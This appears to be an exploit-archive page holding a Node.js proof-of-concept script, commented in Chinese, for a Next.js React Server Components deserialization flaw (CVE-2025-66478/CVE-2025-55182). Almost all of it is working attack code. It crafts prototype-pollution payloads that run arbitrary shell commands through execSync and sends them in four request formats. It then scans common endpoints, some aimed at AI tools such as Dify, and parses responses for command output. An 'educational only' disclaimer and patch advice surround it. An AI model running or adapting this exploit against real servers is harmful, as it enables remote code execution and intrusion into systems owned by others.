4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
#!/usr/bin/env node

/**
 * CVE-2025-66478 概念验证
 * Next.js React Server Components RCE 漏洞
 * 
 * 这是一个概念验证脚本,演示了影响 Next.js 应用程序的
 * React Server Components 反序列化漏洞。
 * 
 * 免责声明:此工具仅用于教育目的。请勿在未经授权的系统上使用。
 */

const https = require('https');
const http = require('http');
const fs = require('fs');
const path = require('path');

class RSCExploit {
    constructor(targetUrl, options = {}) {
        this.targetUrl = targetUrl;
        this.options = {
            method: 'POST',
            headers: {
                'Accept': '*/*',
                ...options.headers
            },
            verbose: options.verbose || false, // 添加详细输出选项
            ...options
        };
    }

    /**
     * 生成利用反序列化漏洞的恶意 RSC 负载
     * 漏洞发生在 React Server Components "Flight" 协议的处理过程中
     * 根据 CVE-2025-66478 和 CVE-2025-55182 的技术细节
     * 
     * 该漏洞利用 React 反序列化中的不安全对象构造,通过原型污染触发代码执行
     */
    /**
     * 生成利用 CVE-2025-55182 的正确 payload
     * 基于 Flight 协议的原型污染漏洞
     * 参考: https://github.com/Spritualkb/CVE-2025-55182-exp
     * 
     * 漏洞机制:
     * 1. 通过 "$1:__proto__:then" 污染 Object.prototype.then
     * 2. 通过 "$1:constructor:constructor" 设置 _formData.get 为 Function 构造函数
     * 3. 通过 _prefix 注入恶意代码
     */
    generateMaliciousPayload(command) {
        // 转义命令中的特殊字符
        const cmd = command.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n');
        
        // 构造恶意代码,通过 Function 构造函数执行命令
        // 使用 try-catch 确保即使出错也能返回信息
        const maliciousCode = `
try {
                                    const { execSync } = require('child_process');
    const result = execSync("${cmd}", { encoding: 'utf8', timeout: 10000 });
                                        return result.toString();
} catch(e) {
    return 'Error: ' + e.message;
}
        `.trim();

        // 正确的 CVE-2025-55182 payload 结构
        // 使用 Flight 协议的引用格式来触发原型污染
        // 参考: https://github.com/Spritualkb/CVE-2025-55182-exp
        const flightPayload = {
            // 污染 Object.prototype.then
            "then": "$1:__proto__:then",
            "status": "resolved_model",
            "reason": -1,
            "value": JSON.stringify({"then": "$B1337"}),
            "_response": {
                // 注入恶意代码到 _prefix(这是关键部分)
                "_prefix": maliciousCode,
                "_chunks": "$Q2",
                // 通过引用设置 _formData.get 为 Function 构造函数
                "_formData": {
                    "get": "$1:constructor:constructor"
                }
            }
        };

        // 方法4: 使用 Server Actions 格式(针对有 Server Actions 的应用)
        // Server Actions 使用不同的端点格式
        // 注意:实际的 Server Actions 需要正确的 action ID(通常是文件路径的哈希)
        // 这里我们构造一个可能触发反序列化的 payload
        const serverActionPayload = {
            "0": flightPayload,
            // Server Actions 的格式:使用 action ID 和参数
            // 实际的 action ID 需要从页面中提取,这里使用占位符
            "1": {
                "id": "./actions",
                "name": "testAction",
                "args": [flightPayload]
            },
            // 尝试直接使用 Flight payload 作为 Server Action 的参数
            // 这可能在反序列化时触发漏洞
            "$$action": flightPayload
        };

        // 方法1: 使用 multipart/form-data 格式(RSC Flight 协议标准格式)
        const boundary = `----WebKitFormBoundary${Date.now()}`;
        const multipartBody = [
            `--${boundary}`,
            'Content-Disposition: form-data; name="0"',
            'Content-Type: application/json',
            '',
            JSON.stringify(flightPayload),
            `--${boundary}--`,
            ''
        ].join('\r\n');

        // 方法2: 直接使用 JSON 格式(某些端点可能接受)
        const jsonBody = JSON.stringify({
            "0": flightPayload
        });

        // 方法3: 使用 Flight 协议的文本格式(某些情况下可能更有效)
        const flightTextBody = JSON.stringify(flightPayload);

        // 方法4: Server Actions 格式
        const serverActionBody = JSON.stringify(serverActionPayload);

        return {
            multipart: {
            body: multipartBody,
            boundary: boundary,
            contentType: `multipart/form-data; boundary=${boundary}`
            },
            json: {
                body: jsonBody,
                contentType: 'application/json'
            },
            flight: {
                body: flightTextBody,
                contentType: 'text/x-component'
            },
            serverAction: {
                body: serverActionBody,
                contentType: 'application/json'
            }
        };
    }

    /**
     * 发送单个请求
     * @param {Object} payloadData - Payload 数据
     * @param {string} format - 格式: 'multipart', 'json', 'flight'
     */
    async sendRequest(payloadData, format = 'multipart') {
        const protocol = this.targetUrl.startsWith('https://') ? https : http;
        const url = new URL(this.targetUrl);
        
        let payload;
        if (format === 'multipart') {
            payload = payloadData.multipart;
        } else if (format === 'flight') {
            payload = payloadData.flight;
        } else if (format === 'serverAction') {
            payload = payloadData.serverAction;
        } else {
            payload = payloadData.json;
        }
        
        // 根据格式和端点决定使用哪些请求头
        const baseHeaders = {
            ...this.options.headers,
            'Content-Type': payload.contentType,
            'Content-Length': Buffer.byteLength(payload.body),
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Referer': url.origin + '/'
        };

        // 根据端点类型添加不同的请求头
        // 重要:完全移除 Next-Router-State-Tree 头,因为它会导致解析错误
        const isRSCEndpoint = url.pathname.includes('_rsc') || url.pathname.includes('/rsc');
        const isServerAction = url.pathname.includes('actions') || format === 'serverAction';
        
        if (isRSCEndpoint) {
            // RSC 端点需要特定的请求头,但不发送 Next-Router-State-Tree
            baseHeaders['Accept'] = 'text/x-component';
            baseHeaders['RSC'] = '1';
            // 不发送 Next-Router-State-Tree,避免解析错误
            baseHeaders['Next-Router-Prefetch'] = '1';
        } else if (isServerAction) {
            // Server Actions 端点
            baseHeaders['Accept'] = 'text/x-component';
            baseHeaders['Content-Type'] = 'application/json';
            // Server Actions 不需要 Next-Router-State-Tree
        } else {
            // 其他端点,使用标准请求头
            baseHeaders['Accept'] = '*/*';
        }
        
        // 确保不发送 Next-Router-State-Tree 头(可能导致解析错误)
        delete baseHeaders['Next-Router-State-Tree'];

        const requestOptions = {
            hostname: url.hostname,
            port: url.port || (protocol === https ? 443 : 80),
            path: url.pathname + (url.search || ''),
            method: this.options.method,
            headers: baseHeaders,
            ...(this.options.agent && { agent: this.options.agent })
        };

        return new Promise((resolve, reject) => {
            const req = protocol.request(requestOptions, (res) => {
                let responseData = '';

                res.on('data', (chunk) => {
                    responseData += chunk;
                });

                res.on('end', () => {
                    resolve({
                        statusCode: res.statusCode,
                        headers: res.headers,
                        data: responseData,
                        format: format
                    });
                });
            });

            req.on('error', (error) => {
                reject(error);
            });

            // 如果启用详细输出,显示请求信息
            if (this.options.verbose) {
                console.log(`\n[DEBUG] 请求详情:`);
                console.log(`  方法: ${requestOptions.method}`);
                console.log(`  路径: ${requestOptions.path}`);
                console.log(`  请求头:`, JSON.stringify(requestOptions.headers, null, 2));
                console.log(`  Payload 大小: ${Buffer.byteLength(payload.body)} 字节`);
                if (Buffer.byteLength(payload.body) < 1000) {
                    console.log(`  Payload 内容:`, payload.body);
                }
            }

            req.write(payload.body);
            req.end();
        });
    }

    /**
     * 将漏洞利用负载发送到目标服务器
     * 尝试多种 payload 格式和端点
     */
    async sendExploit(command) {
        console.log(`[*] 准备 CVE-2025-66478 漏洞利用`);
        console.log(`[*] 目标: ${this.targetUrl}`);
        console.log(`[*] 要执行的命令: ${command}`);

        const payloadData = this.generateMaliciousPayload(command);
        console.log(`[*] 生成了恶意 RSC payload (支持 multipart 和 JSON 格式)`);

        const results = [];
        
        // 尝试方法1: Server Actions 格式(最可能成功,因为不需要 Next-Router-State-Tree)
        console.log(`\n[*] 尝试方法 1: Server Actions 格式...`);
        try {
            const result1 = await this.sendRequest(payloadData, 'serverAction');
            results.push(result1);
            console.log(`[*] 收到响应 (状态码: ${result1.statusCode}, 格式: serverAction)`);
            
            if (this.checkForCommandOutput(result1.data, command)) {
                console.log(`[+] 可能检测到命令执行结果!`);
                // 显示详细分析
                this.analyzeResponse(result1, command);
                return result1;
            }
        } catch (error) {
            console.log(`[-] Server Actions 格式请求失败: ${error.message}`);
        }

        // 尝试方法2: Flight 协议格式
        console.log(`\n[*] 尝试方法 2: Flight 协议格式 (text/x-component)...`);
        try {
            const result2 = await this.sendRequest(payloadData, 'flight');
            results.push(result2);
            console.log(`[*] 收到响应 (状态码: ${result2.statusCode}, 格式: flight)`);
            
            if (this.checkForCommandOutput(result2.data, command)) {
                console.log(`[+] 可能检测到命令执行结果!`);
                // 显示详细分析
                this.analyzeResponse(result2, command);
                return result2;
            }
        } catch (error) {
            console.log(`[-] Flight 格式请求失败: ${error.message}`);
        }

        // 尝试方法3: multipart/form-data 格式
        console.log(`\n[*] 尝试方法 3: multipart/form-data 格式...`);
        try {
            const result3 = await this.sendRequest(payloadData, 'multipart');
            results.push(result3);
            console.log(`[*] 收到响应 (状态码: ${result3.statusCode}, 格式: multipart)`);
            
            if (this.checkForCommandOutput(result3.data, command)) {
                console.log(`[+] 可能检测到命令执行结果!`);
                // 显示详细分析
                this.analyzeResponse(result3, command);
                return result3;
            }
        } catch (error) {
            console.log(`[-] multipart 格式请求失败: ${error.message}`);
        }

        // 尝试方法4: JSON 格式
        console.log(`\n[*] 尝试方法 4: JSON 格式...`);
        try {
            const result4 = await this.sendRequest(payloadData, 'json');
            results.push(result4);
            console.log(`[*] 收到响应 (状态码: ${result4.statusCode}, 格式: JSON)`);
            
            if (this.checkForCommandOutput(result4.data, command)) {
                console.log(`[+] 可能检测到命令执行结果!`);
                // 显示详细分析
                this.analyzeResponse(result4, command);
                return result4;
            }
        } catch (error) {
            console.log(`[-] JSON 格式请求失败: ${error.message}`);
        }

        // 返回最佳结果
        const bestResult = results.find(r => r.statusCode === 200) || 
                          results.find(r => r.statusCode === 500) || 
                          results[0];

        if (bestResult) {
            console.log(`\n${'='.repeat(60)}`);
            console.log(`[*] 最终响应分析`);
            console.log(`${'='.repeat(60)}`);
            console.log(`[*] 状态码: ${bestResult.statusCode}`);
            console.log(`[*] 响应大小: ${bestResult.data.length} 字节`);
            console.log(`[*] 内容类型: ${bestResult.headers['content-type'] || '未知'}`);
            console.log(`[*] 使用的格式: ${bestResult.format || '未知'}`);
            
            // 详细分析响应内容
            this.analyzeResponse(bestResult, command);
        }

        return bestResult || { statusCode: 0, data: '', headers: {} };
    }

    /**
     * 详细分析响应内容
     */
    analyzeResponse(result, command) {
        if (!result || !result.data) {
            console.log(`\n[-] 无响应数据`);
            return;
        }

        const data = result.data;
        console.log(`\n[*] 响应内容分析:`);
        console.log(`-`.repeat(60));

        // 尝试提取命令输出
        const extractedOutput = this.extractCommandOutput(data, command);
        
        if (extractedOutput.found && extractedOutput.output.length > 0) {
            // 验证提取的输出不是常见的错误信息
            const validOutput = extractedOutput.output.filter(line => {
                const lowerLine = line.toLowerCase().trim();
                return !['internal', 'server', 'error', '500', 'internal server error'].includes(lowerLine) &&
                       lowerLine.length > 1;
            });
            
            if (validOutput.length > 0) {
                // 根据置信度显示不同的消息
                const confidenceEmoji = {
                    'high': '✅',
                    'medium': '⚠️',
                    'low': '❓'
                };
                const confidenceText = {
                    'high': '高置信度',
                    'medium': '中等置信度',
                    'low': '低置信度'
                };
                
                console.log(`\n${confidenceEmoji[extractedOutput.confidence] || '⚠️'} 检测到命令执行结果 (${confidenceText[extractedOutput.confidence] || '未知'})!`);
                console.log(`[+] 命令输出:`);
                console.log(`${'='.repeat(60)}`);
                validOutput.forEach(line => {
                    console.log(`    ${line}`);
                });
                console.log(`${'='.repeat(60)}`);
                
                // 如果置信度高,明确标记为成功
                if (extractedOutput.confidence === 'high') {
                    console.log(`\n🎉 漏洞利用成功!命令已执行!`);
                } else {
                    console.log(`\n⚠️  可能成功,但需要进一步验证`);
                }
            } else {
                // 没有找到有效的命令输出,显示完整响应
                console.log(`\n[-] 未检测到明确的命令执行结果`);
                console.log(`[*] 显示完整响应内容以供分析:`);
                this.showFullResponse(data);
            }
        } else {
            // 显示完整的响应内容(用于调试)
            this.showFullResponse(data);
            
            // 提供分析建议和成功判断标准
            console.log(`\n[!] 成功判断标准:`);
            console.log(`    ✅ 高置信度成功指标:`);
            console.log(`       - 响应中包含命令的预期输出(如 whoami 返回用户名)`);
            console.log(`       - 响应中包含命令执行的结果(如 ls 返回文件列表)`);
            console.log(`       - 响应中包含命令执行的错误信息(说明命令被执行了)`);
            console.log(`    ⚠️  中等置信度指标:`);
            console.log(`       - 状态码 500 且响应中包含非标准错误信息`);
            console.log(`       - 响应中包含可能的命令输出片段`);
            console.log(`    ❌ 失败指标:`);
            console.log(`       - 状态码 404(端点不存在)`);
            console.log(`       - 状态码 405(方法不允许)`);
            console.log(`       - 响应只包含标准错误页面`);
            
            console.log(`\n[!] 当前响应分析:`);
            if (result.statusCode === 500) {
                console.log(`    - 状态码 500: 服务器处理了请求但出错`);
                console.log(`    - 可能: 命令已执行,但输出在错误信息中`);
                console.log(`    - 建议: 仔细检查上面的响应内容,查找命令输出`);
            } else if (result.statusCode === 200) {
                console.log(`    - 状态码 200: 请求成功`);
                console.log(`    - 可能: 命令已执行,输出在响应中`);
                console.log(`    - 建议: 检查响应内容中是否包含命令执行结果`);
            } else if (result.statusCode === 404) {
                console.log(`    - 状态码 404: 端点不存在`);
                console.log(`    - 建议: 尝试其他端点或使用 --scan 模式`);
            } else if (result.statusCode === 405) {
                console.log(`    - 状态码 405: 方法不允许`);
                console.log(`    - 建议: 端点存在但不接受 POST,可能需要不同的请求格式`);
            } else {
                console.log(`    - 状态码 ${result.statusCode}: 需要进一步分析`);
            }
        }

        // 显示响应头信息(可能有用的调试信息)
        if (Object.keys(result.headers).length > 0) {
            console.log(`\n[*] 响应头信息:`);
            Object.entries(result.headers).slice(0, 10).forEach(([key, value]) => {
                console.log(`    ${key}: ${value}`);
            });
        }
    }

    /**
     * 显示完整响应内容
     */
    showFullResponse(data) {
        console.log(`\n[*] 完整响应内容:`);
        console.log(`${'='.repeat(60)}`);
        
        // 如果是 HTML,尝试提取文本内容
        if (data.includes('<!DOCTYPE') || data.includes('<html')) {
            // 提取 HTML 中的文本内容
            const textContent = data
                .replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '')
                .replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '')
                .replace(/<[^>]+>/g, ' ')
                .replace(/\s+/g, ' ')
                .trim();
            
            if (textContent.length > 0 && textContent !== 'Internal Server Error') {
                console.log(`[HTML 文本内容]:`);
                console.log(textContent.substring(0, 1000) + (textContent.length > 1000 ? '...' : ''));
            }
            
            // 也显示原始 HTML(完整内容,最多 5000 字符)
            console.log(`\n[原始 HTML 响应]:`);
            const displayLength = Math.min(data.length, 5000);
            console.log(data.substring(0, displayLength));
            if (data.length > displayLength) {
                console.log(`\n... (响应过长,已截断,总长度: ${data.length} 字节)`);
            }
        } else {
            // 非 HTML 响应,直接显示(完整内容,最多 5000 字符)
            const displayLength = Math.min(data.length, 5000);
            console.log(data.substring(0, displayLength));
            if (data.length > displayLength) {
                console.log(`\n... (响应过长,已截断,总长度: ${data.length} 字节)`);
                console.log(`[提示] 完整响应可能包含命令输出,请仔细检查`);
            }
        }
        console.log(`${'='.repeat(60)}`);
    }

    /**
     * 从响应中提取命令输出
     */
    extractCommandOutput(responseData, command) {
        if (!responseData || typeof responseData !== 'string') {
            return { found: false, output: [], confidence: 'none' };
        }

        const output = [];
        let found = false;
        let confidence = 'low'; // 'high', 'medium', 'low', 'none'

        // 提取命令关键词(用于匹配)
        const cmdLower = command.toLowerCase();
        const isEcho = cmdLower.includes('echo');
        const isWhoami = cmdLower.includes('whoami');
        const isLs = cmdLower.includes('ls');
        const isPwd = cmdLower.includes('pwd');
        const isId = cmdLower.includes('id');
        const isCat = cmdLower.includes('cat');

        // 2. 尝试从 HTML 中提取文本内容
        let textContent = responseData;
        if (responseData.includes('<')) {
            // 移除 HTML 标签
            textContent = responseData
                .replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '')
                .replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '')
                .replace(/<[^>]+>/g, ' ')
                .replace(/\s+/g, ' ')
                .trim();
        }

        // 3. 尝试解析 JSON 响应
        try {
            const jsonData = JSON.parse(responseData);
            const jsonStr = JSON.stringify(jsonData, null, 2);
            // 在 JSON 中查找可能的命令输出
            if (jsonStr.length < 5000) {
                textContent += '\n' + jsonStr;
            }
        } catch (e) {
            // 不是 JSON,继续
        }

        // 4. 查找可能的命令输出(排除常见的 HTML/错误信息)
        const excludePatterns = [
            /^Internal Server Error$/i,
            /^Error 500$/i,
            /^<!DOCTYPE/i,
            /^<html/i,
            /^<head/i,
            /^<body/i,
            /Next\.js/i,
            /ReferenceError/i,
            /TypeError/i,
            /^Internal$/i,
            /^Server$/i,
            /^Error$/i
        ];

        // 5. 查找包含命令关键词但不在排除模式中的内容
        const lines = textContent.split(/\n|\r\n?/).filter(line => {
            line = line.trim();
            if (line.length === 0 || line.length > 200) return false;
            
            // 排除明显的错误信息(完全匹配)
            if (excludePatterns.some(pattern => pattern.test(line))) {
                return false;
            }
            
            // 排除只包含单个常见错误词的
            if (/^(Internal|Server|Error|500)$/i.test(line)) {
                return false;
            }
            
            // 查找可能的命令输出(包含字母数字字符,但不是纯数字或纯符号)
            // 必须包含至少一个字母,且不是纯 HTML 标签
            if (/^[a-zA-Z0-9_\-\.\/\s:]+$/.test(line) && /[a-zA-Z]/.test(line) && !line.startsWith('<')) {
                // 进一步过滤:排除明显的 HTML 片段
                if (!line.match(/^<[^>]+>/) && line.length >= 2) {
                    return true;
                }
            }
            
            return false;
        });

        if (lines.length > 0) {
            found = true;
            output.push(...lines.slice(0, 20)); // 最多显示 20 行
        }

        // 6. 特殊处理:根据具体命令查找输出
        if (isEcho) {
            // echo 命令:查找命令参数中的内容
            const echoMatch = command.match(/echo\s+(.+)/i);
            if (echoMatch) {
                const expectedOutput = echoMatch[1].replace(/^["']|["']$/g, '').trim();
                if (textContent.includes(expectedOutput) && !textContent.includes('echo')) {
                    found = true;
                    confidence = 'high';
                    output.push(`找到 echo 输出: ${expectedOutput}`);
                }
            }
        }

        if (isWhoami) {
            // whoami 命令:查找用户名
            const userPattern = /(?:^|\s|>)(root|admin|user|nobody|daemon|www-data|apache|nginx|nextjs|node|[\w\-]{2,20})(?:\s|$|&lt;)/i;
            const matches = textContent.match(userPattern);
            if (matches && matches.length > 0) {
                const username = matches.find(m => 
                    !['html', 'body', 'div', 'span', 'script', 'style', 'head', 'meta'].includes(m.toLowerCase())
                );
                if (username && username.length > 1) {
                    found = true;
                    confidence = 'high';
                    output.push(`找到用户名: ${username.trim()}`);
                }
            }
        }

        if (isLs) {
            // ls 命令:查找文件列表
            const lsPattern = /(?:^|\n)(bin|boot|dev|etc|home|lib|opt|proc|root|run|sbin|sys|tmp|usr|var|app|\.next|node_modules)[\s\n]/i;
            if (lsPattern.test(textContent)) {
                const matches = textContent.match(lsPattern);
                if (matches && matches.length > 0) {
                    found = true;
                    confidence = 'high';
                    matches.slice(0, 10).forEach(match => {
                        if (!output.includes(match.trim())) {
                            output.push(match.trim());
                        }
                    });
                }
            }
        }

        if (isPwd) {
            // pwd 命令:查找路径
            const pwdPattern = /(?:^|\s)(\/[a-zA-Z0-9_\-\.\/]+)(?:\s|$)/;
            const matches = textContent.match(pwdPattern);
            if (matches && matches.length > 0) {
                const path = matches.find(m => m.startsWith('/') && m.length > 1);
                if (path) {
                    found = true;
                    confidence = 'high';
                    output.push(`找到路径: ${path.trim()}`);
                }
            }
        }

        if (isId) {
            // id 命令:查找 uid/gid
            const idPattern = /(?:uid|gid|groups?)\s*=\s*[0-9]+/i;
            if (idPattern.test(textContent)) {
                found = true;
                confidence = 'high';
                const matches = textContent.match(idPattern);
                if (matches) {
                    output.push(...matches.slice(0, 5));
                }
            }
        }

        // 7. 查找命令执行错误的输出(这也说明命令被执行了)
        const errorPatterns = [
            /Error: Command failed/i,
            /Command executed/i,
            /execSync.*timeout/i,
            /child_process.*exec/i
        ];
        
        if (errorPatterns.some(pattern => pattern.test(textContent))) {
            found = true;
            if (confidence === 'none') confidence = 'medium';
        }

        // 8. 查找明显的命令输出(非 HTML/错误信息)
        const cleanLines = textContent
            .split(/\n|\r\n?/)
            .map(line => line.trim())
            .filter(line => {
                if (line.length < 2 || line.length > 200) return false;
                if (line.match(/^(Internal|Server|Error|404|405|500)$/i)) return false;
                if (line.match(/^<!DOCTYPE|^<html|^<head|^<body/i)) return false;
                // 包含字母数字,但不是纯 HTML
                return /[a-zA-Z]/.test(line) && !line.startsWith('<');
            });

        if (cleanLines.length > 0 && cleanLines.length < 50) {
            found = true;
            if (confidence === 'none') confidence = 'medium';
            output.push(...cleanLines.slice(0, 20));
        }

        return { found, output: [...new Set(output)].slice(0, 20), confidence };
    }

    /**
     * 检查响应中是否包含命令执行结果
     */
    checkForCommandOutput(responseData, command) {
        const extracted = this.extractCommandOutput(responseData, command);
        return extracted.found;
    }

    /**
     * 尝试不同的端点
     */
    async tryEndpoint(endpoint, command = 'echo "test"') {
        const originalUrl = this.targetUrl;
        const baseUrl = new URL(this.targetUrl);
        const testUrl = new URL(endpoint, baseUrl.origin).href;
        
        // 临时更改目标 URL
        this.targetUrl = testUrl;
        
        try {
            const response = await this.sendExploit(command);
            return {
                endpoint,
                url: testUrl,
                statusCode: response.statusCode,
                hasRSCIndicators: this.hasRSCIndicators(response),
                responseLength: response.data?.length || 0
            };
        } catch (error) {
            return {
                endpoint,
                url: testUrl,
                error: error.message,
                hasRSCIndicators: false
            };
        } finally {
            // 恢复原始 URL
            this.targetUrl = originalUrl;
        }
    }

    /**
     * 检查响应是否具有 RSC 特征
     */
    hasRSCIndicators(response) {
        if (!response) return false;
        
        const isUsefulStatusCode = response.statusCode === 200 || response.statusCode === 500;
        if (!isUsefulStatusCode) return false;

        const data = response.data || '';
        const headers = response.headers || {};
        
        return (
            data.includes('react-server-components') ||
            data.includes('RSC') ||
            data.includes('Flight') ||
            headers['x-nextjs-data'] ||
            headers['content-type']?.includes('application/json') ||
            headers['content-type']?.includes('text/x-component')
        );
    }

    /**
     * 扫描可能接受 RSC 负载的易受攻击端点
     */
    async scanVulnerableEndpoints() {
        // 常见 Next.js RSC 端点
        // 特别针对 Dify 等 AI 工具(这些工具使用 Next.js App Router)
        const commonEndpoints = [
            // 标准 RSC 端点
            '/_rsc',
            '/api/rsc',
            '/app/api/rsc',
            // Server Actions 端点
            '/server-actions',
            '/api/server-actions',
            '/action',
            '/api/action',
            // Next.js 内部端点
            '/_next/data/test/page.json',
            '/_next/server/chunks/app/test.js',
            // Dify 和其他 AI 工具常见端点
            '/api/chat',
            '/api/completion',
            '/api/v1/chat',
            '/api/v1/completion',
            '/api/console/api/chat',
            '/api/console/api/completion',
            // 其他可能的端点
            '/api/stream',
            '/api/query',
            '/api/run'
        ];

        console.log('[*] 扫描可能易受攻击的 RSC 端点...');
        console.log(`[*] 基础 URL: ${this.targetUrl}\n`);
        
        const results = [];
        
        for (const endpoint of commonEndpoints) {
            console.log(`[*] 测试端点: ${endpoint}`);
            const result = await this.tryEndpoint(endpoint, 'echo "test"');
            results.push(result);
            
            if (result.hasRSCIndicators) {
                console.log(`[+] 发现潜在的 RSC 端点: ${endpoint} (状态码: ${result.statusCode})`);
            } else if (result.error) {
                console.log(`[-] 端点 ${endpoint} 测试失败: ${result.error}`);
                } else {
                console.log(`[-] 端点 ${endpoint} 不是易受攻击的 RSC 端点 (状态码: ${result.statusCode})`);
            }
            
            // 在请求之间添加延迟
            await new Promise(resolve => setTimeout(resolve, 500));
        }
        
        return results;
    }
}

/**
 * 演示漏洞利用的主函数
 */
async function main() {
    console.log('='.repeat(60));
    console.log('CVE-2025-66478 漏洞利用演示 - Next.js RSC 反序列化漏洞');
    console.log('='.repeat(60));
    console.log('这是一个仅用于教育目的的概念验证。');
    console.log('请勿在未经授权的系统上使用。');
    console.log('='.repeat(60));

    // 示例用法
    if (process.argv.length < 3) {
        console.log('\n用法: node exploit.js <目标URL> [命令] [选项]');
        console.log('示例: node exploit.js https://target.com/_rsc "ls -la"');
        console.log('\n扫描模式: node exploit.js <目标URL> --scan');
        console.log('详细输出: node exploit.js <目标URL> <命令> --verbose');
        process.exit(1);
    }

    const targetUrl = process.argv[2];
    const command = process.argv[3] || 'echo "CVE-2025-66478 漏洞利用演示"';
    const isScanMode = command === '--scan';
    const isVerbose = process.argv.includes('--verbose') || process.argv.includes('-v');

    const exploit = new RSCExploit(targetUrl, { verbose: isVerbose });

    if (isScanMode) {
        console.log('\n[*] 开始漏洞扫描模式...');
        const results = await exploit.scanVulnerableEndpoints();
        
        console.log('\n[*] 扫描结果摘要:');
        console.log('-'.repeat(40));
        
        const vulnerableEndpoints = results.filter(r => r.isPotentiallyVulnerable);
        
        if (vulnerableEndpoints.length > 0) {
            console.log(`[!] 发现 ${vulnerableEndpoints.length} 个潜在的易受攻击端点:`);
            vulnerableEndpoints.forEach(endpoint => {
                console.log(`  - ${endpoint.endpoint} (状态: ${endpoint.statusCode})`);
            });
        } else {
            console.log('[-] 未检测到明显的易受攻击端点。');
        }
        
        console.log('\n[*] 注意: 此扫描不全面。应用程序仍可能存在漏洞。');
    } else {
        console.log('\n[*] 开始漏洞利用模式...');
        try {
            let result = await exploit.sendExploit(command);
            
            // 如果当前端点失败,尝试其他常见端点(特别针对 Dify 等 AI 工具)
            if (!result || result.statusCode === 404 || result.statusCode === 405) {
                console.log('\n[*] 当前端点可能不正确,尝试其他常见端点...');
                
                // 首先尝试 Server Actions 端点(Next.js 15 格式)
                const baseUrl = new URL(targetUrl);
                const serverActionUrl = new URL('/?/actions', baseUrl.origin).href;
                console.log(`\n[*] 尝试 Server Actions 端点: ${serverActionUrl}`);
                
                try {
                    const saExploit = new RSCExploit(serverActionUrl, { verbose: isVerbose });
                    result = await saExploit.sendExploit(command);
                    
                    if (result && (result.statusCode === 200 || result.statusCode === 500)) {
                        console.log(`[+] 在 Server Actions 端点上收到响应!`);
                    }
                } catch (error) {
                    console.log(`[-] Server Actions 端点失败: ${error.message}`);
                }
                
                // 如果 Server Actions 也失败,尝试其他端点
                if (!result || result.statusCode === 404 || result.statusCode === 405) {
                    const alternativeEndpoints = [
                        // 直接访问根路径
                        '/',
                        // 标准 RSC 端点
                        '/_rsc',
                        '/api/rsc',
                        // AI 工具端点
                        '/api/chat',
                        '/api/completion',
                        '/api/v1/chat',
                        '/api/console/api/chat'
                    ];
                    
                    for (const endpoint of alternativeEndpoints) {
                        const testUrl = new URL(endpoint, baseUrl.origin).href;
                        console.log(`\n[*] 尝试端点: ${testUrl}`);
                        
                        try {
                            const altExploit = new RSCExploit(testUrl, { verbose: isVerbose });
                            result = await altExploit.sendExploit(command);
                            
                            if (result && (result.statusCode === 200 || result.statusCode === 500)) {
                                console.log(`[+] 在端点 ${endpoint} 上收到响应!`);
                                break;
                            }
                        } catch (error) {
                            console.log(`[-] 端点 ${endpoint} 失败: ${error.message}`);
                        }
                    }
                }
            }
            
            console.log('\n[*] 漏洞利用完成。');
            // 详细分析已在 sendExploit 中的 analyzeResponse 方法完成
        } catch (error) {
            console.error('[-] 漏洞利用失败:', error.message);
            console.error('[-] 错误堆栈:', error.stack);
        }
    }

    console.log('\n[*] 请立即修补您的 Next.js 应用程序!');
    console.log('[*] 推荐版本: >= 15.0.5, >= 15.1.9, >= 15.2.6, >= 15.3.6, >= 15.4.8, >= 15.5.7, >= 16.0.7');
}

// 运行主函数
if (require.main === module) {
    main().catch(console.error);
}

module.exports = { RSCExploit };